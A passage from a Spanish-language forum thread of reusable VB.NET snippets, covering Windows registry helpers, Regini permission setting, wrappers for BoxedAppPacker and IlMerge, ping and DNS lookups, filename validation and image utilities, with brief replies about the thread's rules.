Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
Else
' MsgBox("File don't exist")
Return False
End If
End Function
''' <summary>
''' Open Regedit at specific key.
''' </summary>
Public Shared Function Jump_To_Key(ByVal RegKey As String) As Boolean
Dim RootKey As String = Get_Root_Key(RegKey).ToString
Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1)
Try
Set_Value("HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit", "LastKey", "" & KeyPath & "", Microsoft.Win32.RegistryValueKind.String)
Process.Start("Regedit.exe")
Return True
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Check if a value exist.
''' </summary>
Public Shared Function Exist_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean
Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
Dim KeyPath As String = Get_Key_Path(RegKey)
Try
If RootKey.OpenSubKey(KeyPath, False).GetValue(RegValue) = String.Empty Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Check if a value have empty data.
''' </summary>
Public Shared Function Exist_Data(ByVal RegKey As String, ByVal RegValue As String) As Boolean
Dim RootKey As String = Get_Root_Key(RegKey).ToString
Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
Try
If My.Computer.Registry.GetValue(KeyPath, RegValue, Nothing) = Nothing Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Copy a key tree to another location of the registry.
''' </summary>
Public Shared Function Copy_Key(ByVal OldRootKey As String, _
ByVal OldPath As String, _
ByVal OldName As String, _
ByVal NewRootKey As String, _
ByVal NewPath As String, _
ByVal NewName As String) As Boolean
If OldPath Is Nothing Then OldPath = ""
If NewRootKey Is Nothing Then NewRootKey = OldRootKey
If NewPath Is Nothing Then NewPath = ""
If NewName Is Nothing Then NewName = ""
If OldRootKey.EndsWith("\") Then OldRootKey = OldRootKey.Substring(0, OldRootKey.Length - 1)
If NewRootKey.EndsWith("\") Then NewRootKey = NewRootKey.Substring(0, NewRootKey.Length - 1)
If OldPath.StartsWith("\") Then OldPath = OldPath.Substring(1, OldPath.Length - 1)
If OldPath.EndsWith("\") Then OldPath = OldPath.Substring(0, OldPath.Length - 1)
If NewPath.StartsWith("\") Then NewPath = NewPath.Substring(1, NewPath.Length - 1)
If NewPath.EndsWith("\") Then NewPath = NewPath.Substring(0, NewPath.Length - 1)
If OldName.StartsWith("\") Then OldName = OldName.Substring(1, OldName.Length - 1)
If OldName.EndsWith("\") Then OldName = OldName.Substring(0, OldName.Length - 1)
If NewName.StartsWith("\") Then NewName = NewName.Substring(1, NewName.Length - 1)
If NewName.EndsWith("\") Then NewName = NewName.Substring(0, NewName.Length - 1)
Dim OrigRootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(OldRootKey)
Dim DestRootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(NewRootKey)
Dim oldkey As Microsoft.Win32.RegistryKey = OrigRootKey.OpenSubKey(OldPath + "\" + OldName, True)
Dim newkey As Microsoft.Win32.RegistryKey = DestRootKey.OpenSubKey(NewPath, True).CreateSubKey(NewName)
Reg_Copy_SubKeys(oldkey, newkey)
Return True
End Function
Private Shared Sub Reg_Copy_SubKeys(OrigKey As Microsoft.Win32.RegistryKey, DestKey As Microsoft.Win32.RegistryKey)
Dim ValueNames As String() = OrigKey.GetValueNames()
Dim SubKeyNames As String() = OrigKey.GetSubKeyNames()
For i As Integer = 0 To ValueNames.Length - 1
Application.DoEvents()
DestKey.SetValue(ValueNames(i), OrigKey.GetValue(ValueNames(i)))
Next
For i As Integer = 0 To SubKeyNames.Length - 1
Application.DoEvents()
Reg_Copy_SubKeys(OrigKey.OpenSubKey(SubKeyNames(i), True), DestKey.CreateSubKey(SubKeyNames(i)))
Next
End Sub
''' <summary>
''' Copy a value with their data to another location of the registry.
''' If the Key don't exist it will be created automatically.
''' </summary>
Public Shared Function Copy_Value(ByVal RegKey As String, ByVal RegValue As String, _
ByVal NewRegKey As String, ByVal NewRegValue As String) As Boolean
Dim OldRootKey As String = Get_Root_Key(RegKey).ToString
Dim OldKeyPath As String = OldRootKey & "\" & Get_Key_Path(RegKey)
Dim NewRootKey As String = Get_Root_Key(NewRegKey).ToString
Dim NewKeyPath As String = NewRootKey & "\" & Get_Key_Path(NewRegKey)
Dim RegData = Get_Value(OldKeyPath, RegValue)
Try
Set_Value(NewKeyPath, NewRegValue, RegData, Microsoft.Win32.RegistryValueKind.Unknown)
Return True
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Valid User identifiers for Regini.exe command.
''' </summary>
Public Enum RegUserAccess As Short
Administrators_Full_Access = 1
Administrators_Read_Access = 2
Administrators_Read_and_Write_Access = 3
Administrators_Read_Write_and_Delete_Access4
Administrators_Read_Write_and_Execute_Access = 20
Creator_Full_Access = 5
Creator_Read_and_Write_Access = 6
Interactive_User_Full_Access = 21
Interactive_User_Read_and_Write_Access = 22
Interactive_User_Read_Write_and_Delete_Access = 23
Power_Users_Full_Access = 11
Power_Users_Read_and_Write_Access = 12
Power_Users_Read_Write_and_Delete_Access = 13
System_Full_Access = 17
System_Operators_Full_Access = 14
System_Operators_Read_and_Write_Access = 15
System_Operators_Read_Write_and_Delete_Access = 16
System_Read_Access = 19
System_Read_and_Write_Access = 18
World_Full_Access = 7
World_Read_Access = 8
World_Read_and_Write_Access = 9
World_Read_Write_and_Delete_Access = 10
End Enum
''' <summary>
''' Modify the User permissions of a registry key.
''' </summary>
Public Shared Function Set_UserAccess_Key(ByVal RegKey As String, ByVal RegUserAccess() As RegUserAccess) As Boolean
Dim PermissionString As String = Nothing
Dim RootKey As String = Get_Root_Key(RegKey).ToString
Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1)
For Each user In RegUserAccess
Application.DoEvents()
PermissionString += " " & user
Next
PermissionString = "[" & PermissionString & "]"
PermissionString = PermissionString.Replace("[ ", "[")
Try
Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "Regini.ini", False, System.Text.Encoding.ASCII)
TextFile.WriteLine("""" & KeyPath & """" & " " & PermissionString)
End Using
Dim Regini As New Process()
Dim Regini_Info As New ProcessStartInfo()
Regini_Info.FileName = "Regini.exe"
MsgBox(PermissionString)
MsgBox("Regini.exe " & """" & System.IO.Path.GetTempPath() & "Regini.ini" & """")
Regini_Info.Arguments = """" & System.IO.Path.GetTempPath() & "Regini.ini" & """"
Regini_Info.CreateNoWindow = True
Regini_Info.WindowStyle = ProcessWindowStyle.Hidden
Regini_Info.UseShellExecute = False
Regini.StartInfo = Regini_Info
Regini.Start()
Regini.WaitForExit()
If Regini.ExitCode <> 0 Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
' Throw New Exception(ex.Message)
Return False
End Try
End Function
' Returns the RootKey formatted
Private Shared Function Get_Root_Key(ByVal RegKey As String) As Microsoft.Win32.RegistryKey
Select Case RegKey.ToUpper.Split("\").First
Case "HKCR", "HKEY_CLASSES_ROOT" : Return Microsoft.Win32.Registry.ClassesRoot
Case "HKCC", "HKEY_CURRENT_CONFIG" : Return Microsoft.Win32.Registry.CurrentConfig
Case "HKCU", "HKEY_CURRENT_USER" : Return Microsoft.Win32.Registry.CurrentUser
Case "HKLM", "HKEY_LOCAL_MACHINE" : Return Microsoft.Win32.Registry.LocalMachine
Case "HKEY_PERFORMANCE_DATA" : Return Microsoft.Win32.Registry.PerformanceData
Case Else : Return Nothing
End Select
End Function
' Returns the KeyPath formatted
Private Shared Function Get_Key_Path(ByVal RegKey As String) As String
Dim KeyPath As String = String.Empty
For i As Integer = 1 To RegKey.Split("\").Length - 1
Application.DoEvents()
KeyPath += RegKey.Split("\")(i) & "\"
Next
If Not KeyPath.Contains("\") Then KeyPath = KeyPath & "\"
KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\"))
Return KeyPath
End Function
End Class
#End Region
#End Region
El codigo de agregar un usuario en el sistema, lo tienes incluido aqui ?
Barbarísimo estos codes, este POST es para codes hechos por uno o se puede publicar un code que me haya encontrado, salu2
thx
Cita de: TrashAmbishion en 8 Mayo 2013, 16:20 PMEl codigo de agregar un usuario en el sistema, lo tienes incluido aqui ?
¿Incluido donde?, ¿en el archivo del recopilatorio comprimido?, a que te refieres, el código lo tienes en la página 7.
Cita de: TrashAmbishion en 8 Mayo 2013, 16:20 PMBarbarísimo estos codes, este POST es para codes hechos por uno o se puede publicar un code que me haya encontrado, salu2
No hay reglas, puedes publicar tanto código própio como ajeno,
lo importante que hay que tener en cuenta es que séa código re-usable y no código hardcodeado.
un saludo!
EDITO:Cita de: TrashAmbishion en 8 Mayo 2013, 15:58 PM
Man tu tienes todos los codes que publicas alli dentro del compactado ??
Si, todos los codes que yo he publicado es porque he necesitado usarlos, y me guardo una copia que puedes encontrar en el post principal.
¡ PACK DE SNIPPETS ACTUALIZADO EN EL POST PRINCIPAL !
Ya puedes descargar la colección completa de 290 snippets útiles.
PD: Y no te olvides de ser generoso compartiendo tu conocimiento con los demás en este post...
http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)
Con esta Class pueden manejar la aplicación BoxedAppPacker en tiempo de ejecución para empaquetar otros proyectos .NET (u otro tipo de executables) para virtualizarlos.
PD: Se necesita la aplicación BoxedAppPacker v3.XXX (versión de consola), la class no usa el SDK.
#Region " BoxedAppPacker "
' [ BoxedAppPacker Functions ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "BoxedAppPackerConsole.exe" to the project
' 2. Add the "BoxedAppPacker Class" Class to the project
'
' Examples:
'
' -----------------
' Pack Single File:
' -----------------
' BoxedAppPacker.Pack_Single_File("C:\Windows\Explorer.exe", "C:\Virtual Explorer.exe")
' BoxedAppPacker.Pack_Single_File("C:\Windows\Explorer.exe", "C:\Virtual Explorer.exe", True, True, True, True, True, BoxedAppPacker.BoxedAppPackerVariables.ExeDir)
'
' ---------------------------------
' Pack File And Include More Files:
' ---------------------------------
' BoxedAppPacker.Pack_File_And_Include_More_Files("C:\Windows\Explorer.exe", {"C:\Windows\system32\shell32.dll", "C:\Windows\system32\notepad.exe"}, "C:\Virtual Explorer.exe", True, True, True)
#Region " BoxedAppPacker Class "
Public Class BoxedAppPacker
''' <summary>
''' The BoxedAppPackerConsole.exe location.
''' </summary>
Public Shared BoxedAppPacker_Location As String = ".\BoxedAppPackerConsole.exe"
''' <summary>
''' Boxed App Packer Variables To Override CommandLine.
''' </summary>
Public Enum BoxedAppPackerVariables
ExeDir ' a directory that contains the packed exe.
CurDir ' current directory .
ProgramFiles ' ProgramFiles environment variable.
Temp ' Temp environment variable.
BoxedAppVar_ExeFileName ' exe's file name (for example, "notepad.exe")
BoxedAppVar_ExeFileExtension ' exe's file extension (for example, "exe")
BoxedAppVar_ExeFileNameWithoutExtension ' exe's file name without extension (for example, "notepad")
BoxedAppVar_ExeFullPath ' exe's full path (for example, "C_\notepad.exe")
BoxedAppVar_OldCmdLine ' a command line specified when the packed exe started, you can use it to add additional arguments, for example: <BoxedAppVar:OldCmdLine> /NewSwitch
BoxedAppVar_OldArgs ' a command line specified when the packed exe started without the exe path, for example "<BoxedAppVar:ExeFullPath>" /C virtual.cmd <BoxedAppVar:OldArgs>, Usage: packed.exe Arg1 Arg2, It works as: original.exe /C virtual.cmd Arg1 Arg2
End Enum
''' <summary>
''' Virtualize a single executable.
''' </summary>
Public Shared Function Pack_Single_File(ByVal File As String, ByVal OutputFile As String, _
Optional ByVal Make_All_File_And_Registry_Changes_Virtual As Boolean = True, _
Optional ByVal Hide_Virtual_Files_From_File_Dialog As Boolean = True, _
Optional ByVal Share_Virtual_Environment_With_Child_Processes As Boolean = False, _
Optional ByVal Enable_Virtual_Registry As Boolean = True, _
Optional ByVal Enable_CommandLine_Arguments As Boolean = True, _
Optional ByVal CommandLine_Variable As BoxedAppPackerVariables = BoxedAppPackerVariables.ExeDir
) As Boolean
If Not Check_InputExecutable(File) Then Return False
Dim CommandLine_Variable_Formatted As String = CommandLine_Variable.ToString.Replace("_", ":")
Dim BoxedProject_Options_Section As String = "<project project_version=""2"" src=""" _
& File & _
""" dest=""" _
& OutputFile & _
""" cmd_line_overridden=""" _
& Enable_CommandLine_Arguments & _
""" cmd_args=""<" _
& CommandLine_Variable_Formatted & _
">"" share_virtual_environment_with_child_processes=""" _
& Share_Virtual_Environment_With_Child_Processes & _
""" enable_debug_log=""false"" " & _
"enable_virtual_registry=""" _
& Enable_Virtual_Registry & _
""" hide_virtual_files_from_file_dialog=""" _
& Hide_Virtual_Files_From_File_Dialog & _
""" all_changes_are_virtual=""" _
& Make_All_File_And_Registry_Changes_Virtual & """>"
Dim BoxedProject_File_Section As String = <a><![CDATA[
<files>
<file source_path="" name="<ExeDir>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
<files/>
</file>
<file source_path="" name="<SystemRoot>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
<files>
<file source_path="" name="System32" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
<files/>
</file>
</files>
</file>
</files>
]]></a>.Value
Dim BoxedProject_Registry_Section As String = <a><![CDATA[
<registry>
<keys>
<key name="HKEY_CLASSES_ROOT" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_CURRENT_CONFIG" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_CURRENT_USER" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_LOCAL_MACHINE" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_USERS" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
</keys>
</registry>
</project>
]]></a>.Value
Try
Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", False, System.Text.Encoding.ASCII)
TextFile.WriteLine(BoxedProject_Options_Section)
End Using
Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", True, System.Text.Encoding.ASCII)
TextFile.WriteLine(BoxedProject_File_Section)
TextFile.WriteLine(BoxedProject_Registry_Section)
End Using
Dim BoxedAppPacker_Console As New Process()
Dim BoxedAppPacker_Console_Info As New ProcessStartInfo()
BoxedAppPacker_Console_Info.FileName = BoxedAppPacker_Location
BoxedAppPacker_Console_Info.Arguments = """" & System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj" & """"
BoxedAppPacker_Console_Info.CreateNoWindow = True
BoxedAppPacker_Console_Info.WindowStyle = ProcessWindowStyle.Hidden
BoxedAppPacker_Console_Info.UseShellExecute = False
BoxedAppPacker_Console.StartInfo = BoxedAppPacker_Console_Info
BoxedAppPacker_Console.Start()
BoxedAppPacker_Console.WaitForExit()
If BoxedAppPacker_Console.ExitCode <> 0 Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Virtualize a executable and include more files.
''' </summary>
Public Shared Function Pack_File_And_Include_More_Files(ByVal File As String, ByVal SubFiles() As String, ByVal OutputFile As String, _
Optional ByVal Make_All_File_And_Registry_Changes_Virtual As Boolean = True, _
Optional ByVal Hide_Virtual_Files_From_File_Dialog As Boolean = True, _
Optional ByVal Share_Virtual_Environment_With_Child_Processes As Boolean = False, _
Optional ByVal Enable_Virtual_Registry As Boolean = True, _
Optional ByVal Enable_CommandLine_Arguments As Boolean = True, _
Optional ByVal CommandLine_Variable As BoxedAppPackerVariables = BoxedAppPackerVariables.ExeDir
) As Boolean
If Not Check_InputExecutable(File) Then Return False
Dim CommandLine_Variable_Formatted As String = CommandLine_Variable.ToString.Replace("_", ":")
Dim BoxedProject_Options_Section As String = "<project project_version=""2"" src=""" _
& File & _
""" dest=""" _
& OutputFile & _
""" cmd_line_overridden=""" _
& Enable_CommandLine_Arguments & _
""" cmd_args=""<" _
& CommandLine_Variable_Formatted & _
">"" share_virtual_environment_with_child_processes=""" _
& Share_Virtual_Environment_With_Child_Processes & _
""" enable_debug_log=""false"" " & _
"enable_virtual_registry=""" _
& Enable_Virtual_Registry & _
""" hide_virtual_files_from_file_dialog=""" _
& Hide_Virtual_Files_From_File_Dialog & _
""" all_changes_are_virtual=""" _
& Make_All_File_And_Registry_Changes_Virtual & """>"
' Generate File Section Start
Dim BoxedProject_File_Section_Start As String = <a><![CDATA[
<files>
<file source_path="" name="<ExeDir>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
<files>
]]></a>.Value
' Generate SubFiles Tags Section
Dim FileCount As Int16 = 0
Dim SubFile_Tag As String = Nothing
For SubFile As Integer = 1 To SubFiles.Count
Application.DoEvents()
FileCount += 1
If FileCount = 1 Then
SubFile_Tag += <a><![CDATA[
<file source_path="]]></a>.Value & SubFiles(FileCount - 1) & <a><![CDATA[" name="]]></a>.Value & SubFiles(FileCount - 1).Split("\").Last & <a><![CDATA[" virtual="true" virtually_deleted="false" dir="false" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="/RegServer" register_as_typelib="false">
<files/>
]]></a>.Value
Else
SubFile_Tag += <a><![CDATA[
</file>
<file source_path="]]></a>.Value & SubFiles(FileCount - 1) & <a><![CDATA[" name="]]></a>.Value & SubFiles(FileCount - 1).Split("\").Last & <a><![CDATA[" virtual="true" virtually_deleted="false" dir="false" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="/RegServer" register_as_typelib="false">
<files/>
]]></a>.Value
End If
Next
' Generate File Section End
Dim BoxedProject_File_Section_End As String = <a><![CDATA[
</file>
</files>
</file>
<file source_path="" name="<SystemRoot>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
<files>
<file source_path="" name="System32" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false">
<files/>
</file>
</files>
</file>
</files>
]]></a>.Value
' Generate Registry Section
Dim BoxedProject_Registry_Section As String = <a><![CDATA[
<registry>
<keys>
<key name="HKEY_CLASSES_ROOT" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_CURRENT_CONFIG" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_CURRENT_USER" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_LOCAL_MACHINE" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
<key name="HKEY_USERS" virtual="false" virtually_deleted="false">
<values/>
<keys/>
</key>
</keys>
</registry>
</project>
]]></a>.Value
Try
Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", False, System.Text.Encoding.ASCII)
TextFile.WriteLine(BoxedProject_Options_Section)
TextFile.WriteLine(BoxedProject_File_Section_Start)
TextFile.WriteLine(SubFile_Tag)
TextFile.WriteLine(BoxedProject_File_Section_End)
TextFile.WriteLine(BoxedProject_Registry_Section)
End Using
Dim BoxedAppPacker_Console As New Process()
Dim BoxedAppPacker_Console_Info As New ProcessStartInfo()
BoxedAppPacker_Console_Info.FileName = BoxedAppPacker_Location
BoxedAppPacker_Console_Info.Arguments = """" & System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj" & """"
BoxedAppPacker_Console_Info.CreateNoWindow = True
BoxedAppPacker_Console_Info.WindowStyle = ProcessWindowStyle.Hidden
BoxedAppPacker_Console_Info.UseShellExecute = False
BoxedAppPacker_Console.StartInfo = BoxedAppPacker_Console_Info
BoxedAppPacker_Console.Start()
BoxedAppPacker_Console.WaitForExit()
If BoxedAppPacker_Console.ExitCode <> 0 Then
Return False
Else
Return True
End If
Catch ex As Exception
' MsgBox(ex.Message)
Return False
End Try
End Function
' Checks if InputFile exist and also is a executable.
Private Shared Function Check_InputExecutable(ByVal File As String) As Boolean
If Not IO.File.Exists(File) Then
MsgBox("File don't exist.")
Return False
End If
If Not File.ToLower.EndsWith(".exe") Then
MsgBox("Not a valid executable file.")
Return False
End If
Return True
End Function
End Class
#End Region
#End Region
Hacer Ping a una máquina:
#Region " Ping "
' [ Ping Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Ping("www.google.com"))
' MsgBox(Ping("www.google.com", 500))
' MsgBox(Ping("www.google.com", 500, New Byte(128) {}, False))
' MsgBox(Ping("www.google.com", 500, System.Text.Encoding.ASCII.GetBytes("Hello"), True))
' For X As Int32 = 1 To 10 : If Not Ping("www.google.com", 1000) Then : MsgBox("Ping try " & X & " failed") : End If : Next : MsgBox("Ping successfully")
Public Function Ping(ByVal Address As String, _
Optional ByVal TimeOut As Int64 = 200, _
Optional ByVal BufferData As Byte() = Nothing, _
Optional ByVal FragmentData As Boolean = False, _
Optional ByVal TimeToLive As Int64 = 128) As Boolean
Dim PingSender As New System.Net.NetworkInformation.Ping()
Dim PingOptions As New System.Net.NetworkInformation.PingOptions()
If FragmentData Then PingOptions.DontFragment = False Else PingOptions.DontFragment = True
If BufferData Is Nothing Then BufferData = New Byte(31) {} ' Sets a BufferSize of 32 Bytes
PingOptions.Ttl = TimeToLive
Dim Reply As System.Net.NetworkInformation.PingReply = PingSender.Send(Address, TimeOut, BufferData, PingOptions)
If Reply.Status = System.Net.NetworkInformation.IPStatus.Success Then
' MsgBox("Address: " & Reply.Address.ToString)
' MsgBox("RoundTrip time: " & Reply.RoundtripTime)
' MsgBox("Time to live: " & Reply.Options.Ttl)
' MsgBox("Buffer size: " & Reply.Buffer.Length)
Return True
Else
Return False
End If
End Function
#End Region
Devuelve la dirección IP de un Host
#Region " HostName To IP "
' [ HostName To IP Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(HostName_To_IP("www.google.com")) ' Result: 173.194.41.6
Public Function HostName_To_IP(ByVal HotsName As String) As String
Return System.Net.Dns.GetHostEntry(HotsName).AddressList(1).ToString()
End Function
#End Region
Devuelve el Hostname de una IP
#Region " IP To HostName "
' [ IP To HostName Function ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(IP_To_HostName("173.194.41.6")) ' Result: mad01s14-in-f6.1e100.net
Public Function IP_To_HostName(ByVal IP As String) As String
Return system.net.Dns.GetHostEntry(IP).HostName.ToString
End Function
#End Region
Valida si un nombre de archivo o ruta contiene caracteres no permitidos por Windows
(Este snippet lo posteé hace tiempo pero tenía varios fallos, los he corregido.)
#Region " Validate Windows FileName "
' [ Validate Windows FileName Function ]
'
' Examples :
' MsgBox(Validate_Windows_FileName("C:\Test.txt")) ' Result: True
' MsgBox(Validate_Windows_FileName("C:\Te|st.txt")) ' Result: False
Private Function Validate_Windows_FileName(ByRef FileName As String)
Dim Directory As String = Nothing
Dim File As String = Nothing
Try
Directory = FileName.Substring(0, FileName.LastIndexOf("\")) & "\"
File = FileName.Split("\").Last
Catch
If Directory Is Nothing Then File = FileName
End Try
If Directory Is Nothing AndAlso File Is Nothing Then Return False
If Not Directory Is Nothing Then
For Each InvalidCharacter As Char In IO.Path.GetInvalidPathChars
If Directory.Contains(InvalidCharacter) Then
' MsgBox(InvalidCharacter)
Return False
End If
Next
End If
If Not File Is Nothing Then
For Each InvalidCharacter As Char In IO.Path.GetInvalidFileNameChars
If File.Contains(InvalidCharacter) Then
' MsgBox(InvalidCharacter)
Return False
End If
Next
End If
Return True ' FileName is valid
End Function
#End Region
Una class para combinar ejecutable de .NET con dependencias (dll's) en tiempo de ejecución...
Se necesita la aplicación IlMerge
#Region " IlMerge "
' [ IlMerge Functions ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "IlMerge.exe" to the project
' 2. Add the "IlMerge" Class to the project
'
' Examples:
' IlMerge.Merge({"C:\Application.exe", "C:\Dependency.dll"}, "C:\Merged.exe")
' MsgBox(IlMerge.Merge({"C:\Application.exe", "C:\Dependency.dll"}, "C:\Merged.exe"))
#Region " IlMerge class "
Public Class IlMerge
''' <summary>
''' Set the location of IlMerge executable [Default: ".\IlMerge.exe"].
''' </summary>
Public Shared IlMerge_Location As String = ".\IlMerge.exe"
''' <summary>
''' Set the location of IlMerge log file [Default: ".\IlMerge.log"].
''' </summary>
Public Shared IlMerge_Log_Location As String = IlMerge_Location.Substring(0, IlMerge_Location.Length - 4) & ".log"
''' <summary>
''' Merge
''' </summary>
Public Shared Function Merge(ByVal InputFiles As String(), ByVal OutputFile As String) As Boolean
Dim FilesString As String = Nothing
For Each File In InputFiles : FilesString += """" & File & """" & " " : Next
Try : IO.File.Delete(IlMerge_Log_Location) : Catch : End Try ' Deletes old log if exist
Try
Dim ResHacker As New Process()
Dim ResHacker_Info As New ProcessStartInfo()
ResHacker_Info.FileName = IlMerge_Location
ResHacker_Info.Arguments = "/ndebug /log:" & """" & IlMerge_Log_Location & """" & " /out:" & """" & OutputFile & """" & " " & FilesString
ResHacker_Info.UseShellExecute = False
ResHacker.StartInfo = ResHacker_Info
ResHacker.Start()
ResHacker.WaitForExit()
Try : IO.File.Delete(OutputFile.Substring(0, OutputFile.Length - 4) & ".pdb") : Catch : End Try ' Deletes Debug Generated File
Return Check_Last_Error()
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
''' <summary>
''' Return the last operation error if any [False = ERROR, True = Ok].
''' </summary>
Private Shared Function Check_Last_Error()
Try
Dim Line As String = Nothing
Dim Text As IO.StreamReader = IO.File.OpenText(IlMerge_Log_Location)
Do Until Text.EndOfStream
Line = Text.ReadLine()
If Line.ToString.StartsWith("An exception occurred") Then
Process.Start(IlMerge_Log_Location)
Return False
End If
Loop
Text.Close()
Text.Dispose()
Return True
Catch ex As Exception
MsgBox(ex.Message)
Return False
End Try
End Function
End Class
#End Region
#End Region
Comprobar si una imagen contiene cierto color.
Esta función me ha costado la vida conseguirla, ya la pueden guardar bien xD...
Private Function Image_Has_Color(ByVal image As Image, ByVal color As Color) As Boolean
Using Bitmap_Image = New Bitmap(image.Width, image.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
Graphics.FromImage(Bitmap_Image).DrawImage(image, 0, 0)
Dim Bitmap_Data = Bitmap_Image.LockBits(New Rectangle(0, 0, Bitmap_Image.Width, Bitmap_Image.Height), System.Drawing.Imaging.ImageLockMode.[ReadOnly], Bitmap_Image.PixelFormat)
Dim Bitmap_Pointer As IntPtr = Bitmap_Data.Scan0
Dim Pixel_Color As Int32
Dim Result As Boolean = False
For i = 0 To Bitmap_Data.Height * Bitmap_Data.Width - 1
Pixel_Color = System.Runtime.InteropServices.Marshal.ReadInt32(Bitmap_Pointer, i * 4)
If (Pixel_Color And &HFF000000) <> 0 AndAlso (Pixel_Color And &HFFFFFF) = (color.ToArgb() And &HFFFFFF) Then
Result = True
Exit For
End If
Next
Bitmap_Image.UnlockBits(Bitmap_Data)
Return Result
End Using
End Function
Ejemplo:
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
MsgBox(Image_Has_Color(System.Drawing.Image.FromFile("C:\imagen.jpg"), Color.FromArgb(240, 240, 240)))
End Sub
Devuelve una lista con todos los valores de una enumeración
#Region " Get Enum Values "
' [ Get Enum Values Function ]
'
' // By Elektro H@cker
'
' Examples :
' For Each value In Get_Enum_Values(Of KnownColor)() : MsgBox(value) : Next
Private Function Get_Enum_Values(Of T)() As List(Of String)
Dim ValueList As New List(Of String)
For Each value In System.[Enum].GetValues(GetType(T)) : ValueList.Add(value.ToString) : Next
Return ValueList
End Function
#End Region
Como hacer un Loop sobre todos los colores conocidos:
For Each col In System.[Enum].GetValues(GetType(KnownColor))
Dim mycolor As Color = Color.FromKnownColor(col)
MsgBox(mycolor.ToString)
MsgBox(mycolor.R)
MsgBox(mycolor.G)
MsgBox(mycolor.B)
Next
Redimensionar una imágen:
#Region " Resize Image "
' [ Save Resize Image Function ]
'
' Examples :
'
' PictureBox1.Image = Resize_Image(System.Drawing.Image.FromFile("C:\Image.png"), 256, 256)
Private Function Resize_Image(ByVal img As Image, ByVal Width As Int32, ByVal Height As Int32) As Bitmap
Dim Bitmap_Source As New Bitmap(img)
Dim Bitmap_Dest As New Bitmap(CInt(Width), CInt(Height))
Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest)
Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1)
Return Bitmap_Dest
End Function
#End Region
Redimensionar una imágen a escala:
#Region " Scale Image "
' [ Save Scale Image Function ]
'
' Examples :
'
' PictureBox1.Image = Scale_Image(System.Drawing.Image.FromFile("C:\Image.png"), 3) ' Scales to x3 of original size
Private Function Scale_Image(ByVal img As Image, ByVal ScaleFactor As Single)
Dim Bitmap_Source As New Bitmap(img)
Dim Bitmap_Dest As New Bitmap(CInt(Bitmap_Source.Width * ScaleFactor), CInt(Bitmap_Source.Height * ScaleFactor))
